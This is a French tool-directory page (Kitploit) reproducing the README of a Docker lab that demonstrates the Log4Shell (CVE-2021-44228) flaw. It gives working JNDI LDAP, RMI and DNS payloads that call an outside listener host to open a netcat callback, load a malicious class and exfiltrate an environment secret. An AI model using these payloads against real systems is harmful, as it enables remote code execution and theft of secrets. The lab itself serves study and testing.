Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
log4j-poc — Une démonstration d'exploit RCE LDAP basée sur Docker pour CVE-2021-44228 Log4Shell | Kitploit
Outils/GitHubGitHub/cyberxml/log4j-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubcyberxml/log4j-poc

log4j-poc

Une démonstration d'exploit RCE LDAP basée sur Docker pour CVE-2021-44228 Log4Shell

Voir le dépôt
72335il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

log4j-poc

Une exploitation RCE LDAP pour CVE-2021-44228 Log4Shell

Description

Le serveur Tomcat 8 de démonstration sur le port 8080 possède une application vulnérable (log4shell) déployée et le serveur est également vulnérable via des attaques par user-agent.

L'application d'exploitation distante de cette démo est basée sur celle trouvée sur https://github.com/kozmer/log4j-shell-poc

Ce serveur Tomcat de démonstration (Tomcat 8.5.3, Java 1.8.0u51) a été reconfiguré pour utiliser Log4J2 pour la journalisation - une configuration non standard.

Un serveur Bitnami plus récent est désormais disponible sur le port 8888. Il est également configuré pour la journalisation Log4J2 et exécute Tomcat 9.0.55 et OpenJDK 11.0.13.

L'exploitation RMI contre le serveur Tomcat 9 / Java 11 est décrite ici : https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3 janvier 2019) par Michael Stepankin

Le script de détection vérifiera les vulnérabilités de user-agent et provient d'ici : https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6

Prérequis

Ce code nécessite Docker et Docker Compose

Installation

root@kitploit:~
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
#   POC_ADDR is the address of the cve-poc container
#   LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build

Exécution de la démonstration d'attaque d'application Web

  1. Configurez votre écouteur Docker dans le premier terminal
    1. nc -lv 10.10.10.31 9001
  2. Démarrez les conteneurs Docker dans un deuxième terminal
    1. docker-compose up
  3. Accédez à l'application Web sur le port 8080
    1. Accédez à http://10.10.10.31:8080/log4shell
      1. Saisissez le nom d'utilisateur : admin
      2. Saisissez le mot de passe : password
      3. Sélectionnez le bouton "login"
      4. Voyez l'écran d'accueil
    2. Revenez à la connexion sur http://10.10.10.31:8080/log4shell
      1. Saisissez le nom d'utilisateur ${jndi:ldap://172.16.238.11:1389/a}
      2. Sélectionnez le bouton "login"
      3. Vérifiez la connexion sur votre écouteur nc

Exécution d'une démonstration d'attaque User Agent

  1. Configurez votre écouteur Docker dans le premier terminal
    1. nc -lv 10.10.10.31 9001
  2. Démarrez les conteneurs Docker dans un deuxième terminal
    1. docker-compose up
  3. Dans un troisième terminal, exécutez la commande suivante. La seconde IP est l'hôte Docker
    1. curl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shell

Exécution d'une démonstration d'exfiltration DNS sur une version récente de Java 11

  1. Démarrez les conteneurs Docker dans un terminal
    1. docker-compose up
  2. Dans un deuxième terminal, exécutez la commande suivante. L'IP est l'adresse IP de l'hôte Docker
    1. curl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/
  3. Le serveur Web vulnérable tentera d'effectuer une recherche TXT à l'IP donnée. Voir log4j-dns_exfil.pcap

Exécution d'une démonstration RMI RCE sur une version récente de Java 11

J'ai des problèmes avec l'argument de ligne de commande pour la cible ping. Vous devez donc compiler vous-même.

Compilation

  1. Démarrez les conteneurs Docker dans un terminal
    1. docker-compose up
  2. Dans un autre terminal, connectez-vous au cve-poc
    1. docker exec -it log4j-poc_cve-poc_1 /bin/bash
  3. Tuez l'instance en cours de RMIServerPOC
  4. Déplacez-vous dans le répertoire rmi-poc
    1. cd /home/user/rmi-poc
  5. Modifiez RMIServerPOC.java pour remplacer 10.10.10.31 par votre cible ping
  6. Recompilez
    1. javac -cp catalina.jar:. RMIServerPOC.java
  7. Exécutez le serveur
    1. javac -cp catalina.jar:. RMIServerPOC 127.0.0.1

Exécution de la démonstration RMI RCE

  1. Démarrez les conteneurs Docker dans un terminal
    1. docker-compose up
  2. Dans un deuxième terminal, exécutez la commande suivante. L'IP est l'adresse IP de l'hôte Docker
    1. curl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/
  3. Le serveur Web vulnérable téléchargera une classe malveillante sérialisée depuis le serveur RMI pour une classe qui existe déjà dans l'environnement Tomcat.
  4. Cela enverra un ping à l'adresse IP définie dans la section de compilation.

Détecter la vulnérabilité UA

  1. cd scripts
  2. python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2
  3. vous devrez tuer le processus, je ne sais pas encore pourquoi cela se bloque
Télécharger l’outil